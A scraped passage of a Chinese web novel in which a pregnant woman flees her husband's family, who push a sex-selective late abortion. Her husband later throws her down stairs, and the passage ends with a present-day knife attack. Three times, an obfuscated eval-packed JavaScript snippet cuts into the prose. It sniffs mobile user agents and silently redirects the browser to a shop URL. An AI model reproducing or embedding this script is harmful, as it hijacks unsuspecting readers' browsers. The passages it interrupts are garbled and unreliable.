“菊英,你好,我过得很好。你有了身孕,这是一件好事,这代表着你的生命有了延续,我真心替你高兴。你不必过于担心我,在你停下来的日子里,我也正好可以读读书,巩固一下以往学到的知识。每个人的人生都不可能是日以继夜的前行而不用休息,就当这是为了将来走得更远所积蓄力量的一段时间吧,我等着你重新出发,践行与我的约定。” “阿英!”楼下传来呼唤声,是婆婆的声音。屠菊英停下笔,有些笨拙地起身,往楼下去。 一开始的三个月,她孕反十分厉害,总是吃什么吐什么,因此明明每天好吃好喝的供着,反而瘦了好几斤,直到最近才稍许平稳。她的婆婆很迷信,经常找些土法子给她养身体,时不时就往家里带什么神医赤脚大夫,屠菊英以为这次也是这样,没想到走到楼下,发现堂屋里坐着个白发苍苍的婆子。 她婆婆正恭恭敬敬地给人端茶递水,从兜里掏出一个厚厚的红包塞进老太婆手里:“大仙儿,劳烦您给我儿媳妇看看,我们全家感恩戴德!”婆婆说着对她招了下手,屠菊英便乖巧地走了过去,站在老婆子面前。 当老太太的手搭上屠菊英的手腕时,她不由得打了个寒颤,或许是因为春寒料峭,这老婆子的手冷得很,像刚刚浸泡过井水,冰凉刺骨。 老太太抬起头的时候,屠菊英才发现她有一只眼睛是坏掉的,蒙着一层白翳。这老婆子就用那双冰凉的手掐着屠菊英的手好一阵子,像是在号脉,随后松开,屠菊英刚松了口气,却忽然感到肚子上一凉,老太婆的一双手跟鬼爪一样又贴上了屠菊英的小腹。 微微隆起的肚子似乎被寒意激到,屠菊英感到自己的身体里面一下子难受起来。 “妈……”她求助地看向婆婆,想要将老太婆那双冰冷的爪子拿开,但婆婆却按住了她的手。 “阿英啊,王大仙儿在帮你看孩子呢,这可是为了你们母子好,你忍一忍啊。” 屠菊英在那一瞬间,察觉到有什么不对劲,但也许是太过紧张,又或者是胎儿分享了母亲的营养,使得她脑袋昏昏沉沉的,一下子居然想不出来哪里不对,只能任由婆婆按着她,继续接受那老太婆的“检查”。 老太婆用冰冷的手将屠菊英的肚子摸了个遍,甚至还凑近她的小腹,嗅了嗅,又将耳朵贴上去听了听,终于她重新直起了身子。屠菊英才松了口气,却听这老太说出了让她后来才知道有多么严重的话,她说:“是个女娃儿。” 婆婆的表情瞬间就垮了,屠菊英也是等婆婆送走大仙,自己回到屋子里坐了很久以后才想起来刚刚那一瞬间的违和感来自哪里。她婆婆说,王大仙是特地来帮她看孩子的,家里请她过来是为了“你们母子好”。 “母子……不是母子。”屠菊英恍然大悟,从一开始李家人似乎就笃定了她怀的一定是男孩,而从未想过女孩的可能。 可是,女孩怎么了?女孩难道就不是自己的骨肉血脉了吗? 屠菊英知道身边很多老思想的人都重男轻女,尤其是李家还是数代单传一个儿子,可是都什么年代了,伟人都说了“妇女能顶半边天”,李福全家勉强也能算干部家庭,应该不至于这么迂腐吧。 想是这么想,但屠菊英始终心里不踏实,到了傍晚的时候,更是开始眼皮跳个不停。 她从窗户看出去,看到李福全下班骑着脚踏车回来,停在院子里。她婆婆飞快地走上去,拉着他进了屋,然后……然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639802|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后很长时间,李福全都没上楼。 自从屠菊英怀孕以后,李福全回家总是第一时间上来看她和肚子里的孩子,问问情况,送点镇上买的好吃的好喝的,这还是第一次他没有第一时间上来。 屠菊英心神不宁,想要下楼去看看怎么回事,又感到害怕。她像是一只困兽,明明呆在自己家中,此时却觉得四处都潜伏着危机。过了一会儿,屠菊英听到了熟悉的脚步声,是李福全上楼来了。 屠菊英很快看到李福全的身影,他今天也带了油纸包的东西回来,和以往一样,应该是给屠菊英买的好吃的。屠菊英刚刚松了口气,却见李福全走过来,把东西往桌上一放,随后拖了把椅子,坐到屠菊英跟前。 屠菊英原本刚要绽放的笑容刹时又僵住了,她能感觉到李福全身上传来了某种无形的压力。 “福、福全,你又给我带好吃的了……”她紧张地说着,不像在和自己每天同床共枕的丈夫讲话,倒像是在和一个不怎么熟悉的领导客套。 “托人从城里的国营食品店买了点山楂糕,你最近不是爱吃酸的吗,尝尝味道。” 屠菊英脸上露出欣喜的笑容,伸手接过了李福全递过来的纸包,打开一看,里面摆放着四小块红彤彤的山楂糕,散发着酸甜的香气。 “这山楂糕一定很贵吧!”屠菊英根本舍不得吃,她说,“福全,你对我……” “真好”两个字还没吐出来,屠菊英见李福全突然叹了口气,身体往椅子后背上一靠说:“阿英,你把这个小孩拿掉吧。” 屠菊英的笑容僵在了唇边,她像是听不懂普通话一样,愣愣地看着刚刚才给她千辛万苦弄来了好东西的丈夫,不明白这两个场景是怎么拼接到一起的。 李福全说:“妈说大仙给你看过身子了,肚子里怀的是个女的。” “女的……怎么了?”屠菊英不明所以,怀孕本来不就是这样吗,不是女的就是男的。 李福全说:“女的不行,我和我爸妈都想要个男孩!” 屠菊英说:“可是,这孩子已经四个多月了啊,为什么要把她堕掉?女孩子不好吗,都说女儿跟爹亲,以后要是再生别的孩子,她这个当姐姐的,还能帮着照顾好后面的弟弟妹妹!” “没有后面的弟弟妹妹了。”李福全说,“国家出了政策,以后只能生一个了。” 屠菊英一下子如遭雷击,傻傻愣在原地:“只能生一个……可是,可是万一怀上了要怎么办?” “拿掉。”李福全回答得斩钉截铁,“你也知道,年底村里就要换届了,老头子的位置等着我接班,要是你不把这个孩子拿掉,我李家就断了后,如果不想断后,你后面再生别的孩子的话,那我的位置就保不住了!” 绝望的情绪刹那间弥漫在整个空间中,像一床又湿又重的被子,死死地蒙住了秦于理的眼耳口鼻。她看到屠菊英跌坐到床上,失魂落魄中,手里那几块好不容易弄来的香甜的山楂糕也掉到了地上,沾了灰。 “万一、万一大仙说得不准呢,万一是个男孩儿呢?”屠菊英在绝望中好不容易找到了一句话。 李福全顿了顿,说:“你说得对,我会托关系找城里的大夫给你看看,确实再确认一下更保险。好在刚刚四个月,还有足够的时间处理。” 属于“家”的墙壁随着这句话轰然坍塌,秦于理抬头,风吹跑了屋顶,露出阴沉沉的天空,李家的小楼消失无踪,此时屠菊英一个人坐在冰冷荒芜的原野上,她紧紧抱着自己的肚子,手无意识地揪着身边冻土里枯黄的野草! “你是我的孩子,我一定会把你生下来的。”屠菊英小声说了一遍,跟着是第二遍、第三遍。她的声音渐渐大了起来,像是在自己给予自己勇气。 “云升,你也会赞同我这么做的对不对?” “对。” 屠菊英自问自答着,站起身来,向着原野的深处快步走去! 48.第48章 生育 从那天开始,屠菊英独自一个人开始了与李家全家人的暗中对抗。 她变得比以前更谨慎也更小心,不论是吃东西还是喝水,她都尽量只吃自己经过手的东西,实在做不到的情况下,她情愿忍饥挨饿;睡觉的时候她会用椅子顶着门,下楼出门的时候,她则总是小心翼翼,情愿走得又慢又小心。 或许是因为就像李福全说的那样,胎儿的月份还小,还有时间,也或许是因为李家毕竟只是一个小小的庙前村里的干部,城里的医疗关系并不是很好打通,所以李家这段时间的氛围诡异的平静,只有屠菊英的婆婆还在不断地往家里领各种巫婆神汉,目的只有一个,弄清楚屠菊英肚子里的孩子到底是男是女。 屠菊英知道这是无法逃避的事,因此也不声不响地配合,结果就是这些人一人有一套自己的讲法,彼此都无法说服。他们有的说酸儿辣女,看屠菊英怀孕以后的口味变化,肚子里怀的肯定是男孩子;有的则盯着屠菊英的肚子看个不停,言之凿凿说她肚子圆圆的,怀的肯定是女儿,只有肚子尖尖的才是儿子;有的开坛做法一番,抹着满头大汗说没问题了,不管原本是男是女,经过大师的法术加持,女的也变成男的了;有的甚至带着三四岁的小孩来,说这是灵童,眼睛最亮了,孩子说是女的就是女的,是男的就是男的,结果孩子大概在家里吃坏了肚子,当场尿了一裤子哇哇大哭起来,啥也没瞧出来。 日子在这样的鸡飞狗跳中前进,终于有一天,李福全兴高采烈地回到家里对屠菊英说,已经托人排上了号,后天就去城里找大夫用德国进口的仪器直接瞧。 那个时候,屠菊英的孩子已经将近六个月,到了如果拿掉孩子必须引产且对产妇一定会造成伤害的阶段。那天早晨天蒙蒙亮,屠菊英就被李福全催着起床,强行带去了码头。 要去城里,必须要过洛水,此时明明已经是夏天了,但屠菊英的记忆光影中那一天却是冷风刺骨的。她站在河边,被李福全紧紧捏着手臂,被迫安静地等待摆渡的轮船慢慢从对面驶来,要载她去往一个不知是吉是凶的未来。 她突然就回忆起自己小时候被父母扛在肩头,去看唱戏的表演的年华。那时候她为了舞台上的喜怒哀乐牵动小小的心灵,时而悲伤时而喜悦,一开始总是忍不住的提心吊胆,等到发现舞台上呈现的最终结局往往是善有善报,恶有恶报的时候才大大的松一口气,此后再看戏,虽然还会因为剧情心情跌宕起伏,但总隐隐有种希望,觉得到得最后,老天爷一定会惩罚坏人,褒奖好人,心善的人们必定会欢乐团圆,从此过上幸福安乐的日子。 然而,等到真的长大了她才知道,戏剧之所以是戏剧,正是因为现实中的一切往往并不圆满,多的是遗憾与痛苦,人们有如此之多落空的希望和不得伸张的委屈,所以才会将感情寄托于虚幻的创作,从精神上为自己找到一根活下去的支柱。 进了城以后,李福全带她左拐右拐并没有进城里的大医院,而是去了医院后面一条巷子里的一处小诊所。诊所里的空间狭小逼仄,好几个妇人麻木地坐在木头椅子上,等着被叫到号进入诊疗间,她们有的身边陪着丈夫或是婆婆,有的甚至是自己一个人来的。李福全应该是打过招呼,屠菊英等了没多久就轮到了,她的肚子此时已经很大了,走起路来又慢又笨重,每一步都显得那么艰难。 屋子里的中年女人倒是面相和善,吩咐屠菊英躺到检查床上,然后让李福全等在外面。 屠菊英惴惴不安地躺在那里,眼睛望着起皮掉落了好大一块的灰色天花板,感觉自己像一只躺在屠宰台上等待屠夫下刀的牲口。 “放轻松。”中年女人说,“这可是德国产的先进机器,看起来准得不得了,很快就好!” 屠菊英感到冰凉的推子在自己的小腹上爬来爬去,像一条毒蛇,嘶嘶吐着信子。 检查过程果然很快,屠菊英还没怎么反应过来,那女人就说已经好了,让她出去。 屠菊英惴惴不安地自己挪下床,看到那女人忙里偷闲,抓了一把瓜子在嘴里嗑。她忍了又忍,终于还是忍不住问:“大夫,我肚子里的是男娃还是女娃?” 中年女人扭过头来,嘴角还粘着半片瓜子壳,她看了屠菊英两眼,突然就笑了起来,笑得很和善,和善到刺眼,她说:“你瞅瞅,这叫什么话,都什么年代了,男孩女孩都是孩子吗,生男生女一个样。”说着,她便对外面喊:“下一个!” 屠菊英只得走出门去。 李福全在外面等她,见她出来,问她怎么样,屠菊英有些惶恐,她不知道医生刚刚那句话是什么意思。 李福全皱了下眉,说:“你去椅子上坐会儿,我再去问问。”说着,赶在下一个孕妇进去之前冲进了诊疗室,把门一关。 那个刚要进门却被挤出来的孕妇的婆婆立刻破口大骂,诊疗室里也传来了那个中年女医生夸张的惊呼:“哎呀,你是孕妇家属,怎么进来了!”但是,也不知道李福全说了什么,里头的声音很快又压了下去,等到门再度打开的时候,屠菊英看到李福全脸上是一片平静无波。 她下意识地撑着木头椅背站起身来,李福全走上来对她说:“情况还行,不过医生说你有点儿营养不良,要在这里住几天,调理一下。” 屠菊英一脸茫然:“住院?住多久?” “两三天就行了。”李福全说,“别担心,这也是为了你和孩子好,我送你去病房,然后回去给你拿换洗衣物。” 屠菊英就像做梦一般,莫名其妙地被李福全送进了诊所楼上一间破破烂烂的小屋子,里面甚至没有窗户。 一个人孤零零地躺在床上,她的不安成倍增加。 突然有人推门进来,屠菊英面前的天蓝色帘子被人一把拉开,屠菊英看到了一张似曾相识的脸孔,她花了很久才认出来人。 “琼姐?”眼前的胖女人居然是她童年时的隔壁邻居,那个总是笑嘻嘻的,长着一张瓜子脸,还爱分她头绳的琼姐。 “英子!”女人急急忙忙地说,“我在这里做浆洗被单的活,刚刚在楼下看到你的背影,觉得像就跟了上来,果然是你。” “你怎么……” 琼姐说:“我刚听到你男人在跟徐医生商量,说你肚子里的孩子照出来是个女娃儿,要安排尽快拿掉,你自己知道这事吗?” 屠菊英一下子愣在了原地,随即感到浑身发冷。明明是夏天啊,她却觉得自己像掉进了寒冬腊月的冰窟窿! 琼姐感叹:“我就猜你不知道,这里经常能看到这样的孕妇。我跟你说,你月份已经很大了,这时候拿孩子就要引产,一个弄不好,你也会有生命危险。你可一定要想清楚了啊!” 屠菊英苦笑,想清楚,她怎么想清楚,她甚至不知道李福全已经为她安排好了后续的一切。 “跑吧,菊英!”脑海里突然响起了一个坚定的声音。 “云升?” “什么?”琼姐左右张望,没有看到屠菊英对话的对象,“英子,你在跟谁说话?” 屠菊英从床上以一个孕妇难以想象的速度跳下了床,她对着琼姐就跪了下来,把琼姐吓了一大跳。 “英子,你怎么了,你快起来!” 屠菊英死死拽着琼姐的袖子,急促地说:“帮帮我琼姐,我不想拿掉这个孩子,这是我的第一个孩子啊,不管是男是女,我都想把她生下来!” 琼姐左右为难:“可是你男人……” 屠菊英说:“你在这里工作,知道哪里能出去对吗,琼姐,你只要把我送出门,后面的事情我自己想办法。” 琼姐一咬牙:“行,你可不能说是我帮你的!” 屠菊英用力点头。 琼姐领着屠菊英穿过阴暗逼仄的走廊,在各种老房子间隙的阴影下穿梭,在秦于理的眼里,那是一条被魔化了的道路。每一个影子都是一种不知名的怪物,长着尖锐的獠牙,血腥气弥漫在四周,而那些老旧的房子在她眼里也呈现出各种魔窟鬼巢的外观,那都证明着这段记忆中,屠菊英曾经承受了多么可怕的压力。她不敢停,也不能停,因为她知道但凡慢一步,自己就会被那些恐怖的阴影所吞噬。 “阿英,阿英,你在哪儿?” 风中传来缥缈如同叫魂的声音,那是李福全的声音。 屠菊英听到后浑身一个哆嗦,此时她已经和琼姐告别,只剩下了自己一个人。 “护士,我老婆屠菊英呢?” “哪个屠菊英?” “就刚刚送进来的一个孕妇,短头发,个子中等,长得挺秀气的。” “哦,有点儿印象,人不在病床上吗?” “不在啊,我这就转了个头,办个手续的时间。” “那大概是上厕所去了吧,你知道的,孕妇上厕所的频率本来就比旁人高一些。” 七零八落的问答声传来,证明琼姐确实在帮她拖延时间,屠菊英咬紧牙关,从一只怪物的阴影下蹿到另一只怪物的阴影中,连大气也不敢出一口,期间,肚子里的孩子也像是感受到了威胁,一直在闹腾。屠菊英死死咬着下唇,不让自己发出一声呻吟,等到终于跑出去一段距离的时候,她的下唇已经被她自己咬破,渗出了鲜血。 但是,逃出来了,逃过李福全的眼睛了! 屠菊英直到这时候才有空去想自己下一步该怎么做。 李福全很快就会发现她逃跑了,到时候一定会想办法来找她,娘家是不能回的,她得找个地方把自己安顿下来,只要能拖到孩子生下来,到时候米已成粥,就算李福全再不情愿,他总不能把已经生下来的孩子给杀了! 想到这里,屠菊英忽而感到一阵心惊。她不停安慰自己:“没事的,没事的,不要把还没发生的事往最糟糕的地方想,哪怕不相信李福全的人品,至少也要相信,他对村干部位置的看重,他不敢对生下来的孩子动手的!” 秦于理看着屠菊英心事重重地强打起精神,开始寻找能让自己短暂落脚的地方。 新的光影冲入视野里的时候,已经是盛夏了,秦于理看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644289|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一间狭小破烂的老屋内,挺着大肚子的屠菊英和李福全面对面沉默的坐着。 “你可真能躲,叫我好找。”李福全说,这段时间,他整个人瘦了一圈,眼下一片乌青,看起来阴郁极了。 屠菊英双手抚着自己的肚子,戒备地坐着,一声也不吭。 “你知道吗,你第一天来庙前村,我就看上你了,因为你和其他人都不一样,你显得很聪明、很有主见,我从未见过这样的女人。”李福全突然岔开了话题,让屠菊英疑惑地抬起头来,“不过,现在我才发现,屠菊英,你可真是太有主见了啊!” “砰”的一声,李福全重重拍了一下桌子,把屠菊英吓得人都往后缩了一缩。 李福全说:“你就这么想要保住这个女娃儿吗,为了她,家也不回,娘家也不回,情愿一个人跟只耗子一样猫在这里,吃不好睡不香!” 屠菊英鼓起勇气,直面李福全的压迫:“对,我就是想护住这个孩子,不管是男是女,TA都是我的孩子,是我辛辛苦苦怀胎养大的孩子!”她说,“现在孩子已经快八个月了,已经打不掉了,除非你想我也一起死!”她说:“李福全,你忘了你结婚的时候怎么承诺我的吗,你说我为你牺牲了回城的机会,为你放弃了读书,你会一直记得,会对我好一辈子,你现在想食言了吗?” 一瞬间,屋子里静得可怕,李福全死死地盯着屠菊英,像一条曲起上身,随时准备咬人的毒蛇,屠菊英头皮发麻,却还是大着胆子回看过去,用眼神表示自己不会屈服。 不知道僵持了多久,李福全终于长长出了口气说:“你赢了。”他说,“阿英,我也不是那种无情无义的人,只不过现在政策规定是那样,我有什么办法?我为什么要当村干部,还不是为了让你们娘儿俩将来过上好日子吗,难道我是只为了自己着想?阿英,你认识我那么久,你摸着良心回答我,我在你眼里有那么坏吗?” 屠菊英沉默了,她几次试着张开嘴巴,最后还是吐不出一个字。 李福全长长叹气,站起身来:“行了,我知道了。既然你想养,那就养下来吧,都这个时候了,就像你说的,我不可能拿你的命去冒险。” 屠菊英不敢置信地看着李福全,她提心吊胆了两个月,直到这一刻胜利真的来临,她却不敢轻信。 “不过你这里生活条件实在太差了,对孩子和你都不好。”李福全皱起眉,打量着周围说,“我替你再找间好点的房子住吧,或者先送你回娘家住一阵子也好,你不用再怕连累他们了。” 李福全说着,将一个布包放到桌上:“刚过来的路上,给你买了点补品和吃的,你这段时间过得不容易,再不补补,真到临盆了会没力气的。” 屠菊英看着那些散发着药材香气的纸包,还是有种自己在做梦的不真实感。 李福全却说:“行了,今天先到这里,我回去跟家里说一声,明天过来送你回娘家。” 屠菊英下意识地站起身来,送李福全出门。走到租住的老房子楼梯口的时候,李福全对她挥手,示意她回去。 “你现在行动不方便,就别送了。” 屠菊英点头:“那你小心,这里的楼道没灯,你拿根蜡烛用。” 屠菊英伸手想要给李福全蜡烛,然而下一秒,她却感到手腕一痛,李福全抓住她的手腕用力一拉,屠菊英朝前猛的冲了出去,李福全在她撞上来的前一刻敏捷地让开了身子,屠菊英毫无防备,就这么从楼梯上一路滚了下去。 天旋地转,等到脑子再稍许清明一点的时候,屠菊英已经躺在了楼梯下冰冷的泥地上,她感到一摊热乎乎带着生锈气味的液体正从她的下身弥漫开来,她看到李福全站在楼上,表情平静地望着她。 “阿英,你不在的这段时间,我翻了你的东西,看到了那些信。”李福全阴恻恻地说,“你怎么不告诉我,你在娘家还有个叫李云升的青梅竹马呢,你这么看重这个孩子,该不会因为孩子不是我的,而是他的吧?” 孩子是……李云升的?! 屠菊英一下子愕然,随后觉得好笑,于是她撕心裂肺地大笑起来。 男人的身影消失了,秦于理再次看到了那片早春荒芜冰冷的旷野,只不过这一次,屠菊英是满身鲜血,遍体鳞伤地躺在那里。她大笑了一阵,又盯着那片晦暗的天空看了一会儿,不知哪里来的力气,居然摇摇晃晃地重新坐了起来,然后是试着站立、跌倒,再站立、再跌倒…… 终于,她满身染血,头发凌乱地站直了身体,开始一步步像企鹅一样摇晃着往前走:“云升,我还没放弃,我会把这个孩子生下来的,我们约定好了的!” 四周飞快地黯淡了下来,只剩下了一片光晕。 光晕里站着一个年轻的男人,面貌从模糊不清到清清楚楚,那是一个俊美的男人,他是李云升,他有着和屠菊英宛如双胞胎的面孔,他是屠菊英从幼年开始便不断幻象,不断完善的理想中另一个自由自在的自己。 能救赎自己的,或许从来只有自己而已! 49.第49章 送别 后续的光影皆是一掠而过,屠菊英凭着一股不知哪来的力气,爬到了医院门口,倒在了那里。经过的医生护士赶紧把她拉进了医院,紧急开了手术,经过抢救,屠菊英生下了一个男婴,自己也经历九死一生,保住了一条命。 接到通知来到医院的李福全一家又惊又喜,喜的是,李家有后了,惊的是,如果不是屠菊英坚持,李家这一个长孙差点就没命了。 李父不停责怪李母,说都是她封建迷信,差点害死了自己的大孙子,李母也连连跺脚吐唾沫,说王大仙儿那群王八蛋都是生孩子没屁丨眼的缺德鬼,收了自家那么多钱却不干好事,险些害得自己金贵的孙孙丢了性命,她回头绝对要去找他们晦气!至于李福全……李福全抱着小孩,一脸深情地坐在屠菊英床边说:“阿英,这次真是辛苦你了,要不是你和孩子都命大福大,我怕不是要变成孤家寡人了,真是老天保佑!” 他这么说的时候,还伸出手,温柔地抚摸屠菊英的脸颊,替她整理并不凌乱的鬓发。屠菊英冷冷地看着这个男人,她说:“我从来没有做过对不起你的事。” 李福全扯出一个阴冷的笑,他说:“我知道啊,毕竟,我每天都看着你呢。” 只这一句话,就打碎了屠菊英仅剩为数不多的,对这个男人、这个家的那一点点希望。 于是,在李福全竞选村干部的那一天,屠菊英领着派出所的民警赶到了现场,从来都是个体面人的屠菊英学会了撕下脸皮,不要脸地当着全村人的面抱着李学思满地打滚要公道,一字一泣血地诉说她丈夫李福全为了竞选村干部不出错,竟然想把自己和肚子里的孩子都杀死,把李家闹了个鸡犬不宁。 这场闹剧以家务事,调解为收场,毕竟没有真的出人命,李福全不需要负法律责任,但屠菊英这一闹,叫其他竞争对手抓住了机会,加上李家父子向来在村子里也是作威作福惯了,一时间被抓住把柄拼命打压,最后李福全直接在选举中大比分落败,没能顺利捧上他爹递过来的金饭碗。 那一夜,李福全打了屠菊英,而屠菊英只是冷冷笑着,把他当一个畜生看。 时间飞逝,李福全托关系进了附近的小学当会计,算是好歹也有了个铁饭碗,李学思开始长大,逐渐显露出和其他孩童不一样的地方。他发育迟缓,比同年龄的孩子个头都小,而且反应迟钝,同样的上课进度,别的孩子已经会举一反三了,他却连原始题型都解得磕磕巴巴,四六不着。 屠菊英很聪明,李福全虽然没念很多书,但脑子也算好使,李学思如今的样子很显然是受了屠菊英怀孕期间担惊受怕,营养不良,后来又早产的影响,可在李家人眼里,孩子笨归笨,却金贵得可爱。老李家两口子对这孩子是千依百顺,捧在手里怕飞了,含在口里怕化了。 李学思学习不行,但跟着爷爷奶奶很早就学会了打牌搓麻将的工夫,小小年纪还学爷爷抽烟,有次被屠菊英看到,狠狠骂了一顿。 小小的李学思掉着眼泪,恶狠狠地看向屠菊英,那表情和他爸爸李福全如出一辙,他说:“我恨死你了,你这个臭女人!” 屠菊英心中一惊,不敢置信地看着自己才六岁的儿子:“你说什么,李学思?” 李学思说:“你是个不守妇道的坏女人,爷爷爸爸都这么说!” “啪”的一声,等到屠菊英意识到的时候,被她扇了一巴掌的李学思已经睡到地上边哭边打起滚来,屠菊英的婆婆闻声赶了过来,连连呵斥她:“你做什么,你怎么能打阿思,你这个娘是怎么当的!” 李学思被他奶奶搂在怀里,边哭边告屠菊英的状,但他的嘴角却微微上扬,扯出了一个叫人心寒的笑容。 “我真的看不下去了,我要气死了!”林雅菲的声音传来,从屠菊英怀孕那段光影开始,她便陷入了暴躁的状态。很多事情,在以前的老辈人眼里看来或许是常事,是能忍的事,但随着时代往前迈进,现代女性很难接受自己的母辈、祖母辈曾经过着那样的日子。 虽然不能接受,可那又确实是真实存在的过去,是无数女性一路走来的坎坷。 秦于理眼前开始同时出现数段光影,有的光影中,屠菊英在努力矫正李学思的言行,试图让他变成一个知廉耻的体面人;有的光影中,屠菊英在和龙王庙里负责维修的石勤交流,石勤每每说起首都的生活,都令屠菊英眼前一亮;在更多的光影中,屠菊英抓紧了每分每秒,一边操持家务照顾孩子和公婆,一边抽出一切空闲时间,继续学习。 77年国家恢复了高考,屠菊英瞒着李福全参加了考试。 这些年来,屠菊英的婚姻生活几乎直直走向了不可挽回的局面。屠菊英从生完孩子开始就不再让李福全碰了,李福全一开始忍让,后来试图强上,屠菊英却像是得了病,一旦李福全与他做出亲密举动,她便忍不住呕吐,以至于李福全最终忍无可忍,摔门而出。从那以后,村子里常有风言风语,说李福全在外面和别的女人好上了,屠菊英只是一只耳朵进,一只耳朵出,在她心里,李福全已经只是个同住屋檐下的室友了。 父母随着岁月流逝苍老,那一年屠菊英终于考上了女子师范大学,她原本揣着录取通知书,打算开始自己的新生活却因为母亲病倒,权衡再三,放弃了那次机会。 时光荏苒,父母老去、逝去,李学思长大,屠菊英通过读夜间电大取得了成人高考的大专文凭,争取到了进入一家高中当语文老师的机会,但由于她没有正儿八经的全日制文凭,所以并没有编制,但她也不气馁,站在三尺讲台上的时候,她觉得自己一路走过来的所有艰辛都是值得的。 “五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。”她依然喜欢李白,跟学生讲解诗仙作品的时候总是激情满满。这些年来,她也陆续去了一些地方,虽然不远、不多,但她也很满足,她去看过了飞流直下三千尺,疑是银河落九天的庐山瀑布,去爬过了云霞明灭或可睹的天姥山,坐过轻舟,听过猿啼,工作和家事挤压了她的业余时间,但她从未放弃过与自己约好的读万卷书,行万里路的约定。 某年夏天,李福全死了。 办完葬礼的那一晚,突然下起了一场巨大的雷阵雨,屠菊英忍不住打开窗户,光着脚在自己家里来回跑,从东屋到西屋,从厕所到厨房,哪里都再也没有那个男人的身影。她找出了老头所有的相片、遗物将它们一把火烧了个干净,那场雨让屠菊英发了一场烧,但她觉得自己的身体从没有哪个时候比现在更好过,因为她知道,从那一天起,她可以继续自己的人生计划,她要攒钱,她要读书,她要旅行,她要重新把自己再养一遍! 光影到了这里就断了,秦于理等了许久,都没见屠菊英的记忆再次激活,就像是她的生命到此戛然而止,就像舞台上的戏剧一样,停在了最高光的时刻。 但现实不是这样的,秦于理清楚,林雅菲知道,屠菊英自己也知道。 就算李福全死了,她也依然没能挣脱那些加诸在她身上的枷锁。李学思结婚要钱,养孩子要钱,生活也要钱,他被爷爷奶奶惯坏了,加上脑子本来就不好,因此好逸恶劳,不思进取,他对这个社会,对旁人总有很多的不满,却从没想过从自己身上去找问题。为了能让儿子一家有口饭吃,屠菊英明明退休了却还是省吃俭用,还四处求人,接学生的培训课程,只为了能再多赚一份钱,好让李学思将来有个保障。 但人算不如天算,当屠菊英意识到自己开始健忘,脑子变得不好使再去医院检查的时候,她得知了一个晴天霹雳的消息,她患上了阿尔茨海默症。 那一天,屠菊英一个人在街上走了很久很久,她对自己的人生感到怀疑,不明白为什么自己这一辈子每一步都走得那么艰辛,她从来没有对不起过谁,为人女,为人妻,为人母都恪尽职守,哪怕心里不痛快也在好好履行自己的义务,本以为终于捱到了出头的那一天,谁想到等待着她的会是另一道更高、更险峻的关卡。 她已经老了,再也不复年轻时候的勇气与执着,那一天,老迈的屠菊英坐在洛水边,望着滔滔的河水,第一次意识到,这一次,她或许注定要失败了。 有一瞬间,她想要结束自己的生命。 “阿姨,您怎么了?”模糊的光影中,女孩子的叫声唤回了屠菊英的神智,她扭过头,看到了一个年轻的小姑娘,那是她第一次见到林雅菲。 “我和屠阿姨曾经见过?”林雅菲的惊呼声说明连她自己都忘记了这一茬,她对屠菊英的记忆是从学雷锋志愿者活动开始的,她甚至不知道在那之前,两人已经有过交集。 因果的交织果然不会毫无理由,命运的纺车从那时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648410|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始便织造起两个相差五十多岁的女人交汇的因果脉络。 因果线啪嗒自断,秦于理回到了现实中,似乎经历了很久很久,但在现实中只是一瞬。她回过神来,一掌打掉了袭击者手里的刀,将人按在地下。 “棉花糖!”林雅菲痛苦地叫喊着,从地上捞起被刺了一刀,浑身是血的白猫,老猫的眼睛还张着,似乎想要再多看林雅菲一眼,但它的腹部已经不再起伏。 “放开我,你放开我!”秦于理手里抓着的女孩跟林雅菲差不多大,此时像条疯狗一样在地上拼命挣扎,却根本甩不脱秦于理的钳制。 “王招娣?你为什么要害我?” 看清女孩的脸孔,林雅菲忍不住惊呼出声。 王招娣咬牙切齿,死死地瞪着林雅菲:“因为你本来就该死!”她的眼神像是淬了剧毒的利刃,闪烁着杀意,“从小到大,大家就都讨厌你,偏偏你从来没自觉!” “我做错了什么,你们要讨厌我,我从来没有惹过你们!” “呸!”王招娣朝地上吐了口唾沫,“装什么清白小仙女,霞鹜村里谁不知道你林雅菲是个绿茶!同样都是女孩子,大家都过得那么辛苦,要读书要做家务要照顾弟弟,只有你全家是异类,明明也不富有,生了你竟然就不生下一个了,你不用干活,不用带弟弟妹妹,家里所有的资源都紧着你花,你想买什么就有什么,连广顺哥都对你千依百顺!” “我……”林雅菲从没想过,自己看似平常的生活会成为她被村里其他女孩容不下的罪责,所以念书的时候,她们才会对自己充满敌意,甚至霸凌她吗? 这是何等可笑的逻辑! 